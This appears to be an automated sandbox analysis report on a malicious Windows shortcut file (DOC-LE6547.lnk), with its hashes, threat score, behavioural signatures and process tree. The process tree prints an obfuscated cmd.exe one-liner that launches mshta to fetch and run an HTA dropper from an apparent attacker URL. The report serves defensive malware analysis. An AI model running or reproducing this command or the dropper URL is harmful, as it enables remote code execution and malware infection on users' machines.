Analysis
- max time kernel
58s - max time network
50s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
17/08/2026, 11:17
Static task
static1
Behavioral task
behavioral1
Sample
DOC-LE6547.lnk
Resource
win10v2004-20260513-en
4 signatures
60 seconds
Behavioral task
behavioral2
Sample
DOC-LE6547.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
60 seconds
General
- Target DOC-LE6547.lnk
- Size 1KB
- Sample260817-ndsspayfkh
- SHA256 38e76371f9af6e7d08ee400ca0497855cd8c7b60b029d32c3f3878e05accbbc0
- MD5 f4a49b94c32b760dced6c63f57db1c07
- SHA1 6a440652f8a121362dfd01138c4692f236b0f094
- SHA512 2560e7f7f3524f3267835d7976a937aa1a86f3edffd2460fd83cccf3082b86f43b84b4decd66ed2c766e6f4e71858586268dce4c267b5d3fd7b220c2943967f5
- TLSH T1503197103FEC0624F3F78E7384BB572485BBB8968D20CA2E0141450C1032A15E13AF6B
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 5404 cmd.exe 4152 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 5404 wrote to memory of 4152 5404 cmd.exe 90 PID 4152 wrote to memory of 5912 4152 cmd.exe 91
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-LE6547.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5404 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /v:on /C "set zikZ=msh&&set MuI=ta&&start "" !zikZ!!MuI! https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4152 -
C:\Windows\System32\mshta.exemshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB3⤵PID:5912
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